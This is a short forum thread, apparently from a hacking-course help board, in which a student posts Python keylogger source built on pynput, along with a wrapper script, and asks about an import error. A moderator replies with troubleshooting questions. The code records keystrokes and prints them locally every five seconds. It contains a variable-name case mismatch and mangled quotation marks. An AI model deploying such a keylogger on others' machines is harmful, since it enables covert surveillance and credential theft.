Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #42616
    Bornrich
    Participant

    I have python3, installed pynput and I’m getting error trying to run the keylogger.py code on my terminal.

    Traceback (most recent call last):

    File “zlogger.py”, line 2, in <module>

    import keylogger

    File “/root/PycharmProjects/Keylogger/keylogger.py”, line 2, in <module>

    import pynput.keyboard

    ImportError: No module named pynput.keyboard

    KEYLOGGER CODE

    #!/usr/bin/env python
    import pynput.keyboard
    import threading

    log = “”

    class Keylogger:
    def process_key_press(self, key):
    global log
    try:
    log = log + str(key.char)
    except AttributeError:
    if key == key.space:
    log = log + ” ”
    else:
    log = log + ” ” + str(key) + ” ”

    def report(self):
    global log
    print(log)
    log = “”
    timer = threading.Timer(5, self.report)
    timer.start()

    def start(self):
    Keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
    with keyboard_listener:
    self.report()
    keyboard_listener.join()

    Zlogger Code

    #!/usr/bin/env python
    import keylogger

    my_keylogger = keylogger.Keylogger()
    my_keylogger.start()

    #42633
    Diego PérezDiego Pérez
    Moderator

    Hi!

    Did you also installed pynput for python3?

    Let me know.
    Diego

    #43148
    Bornrich
    Participant

    Yes, I did. I am stuck I have no idea what else to do.

    #43183
    Diego PérezDiego Pérez
    Moderator

    Hi!
    How are you running the code? Can you share a screenshot of the command used and the result please?

    Thanks!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.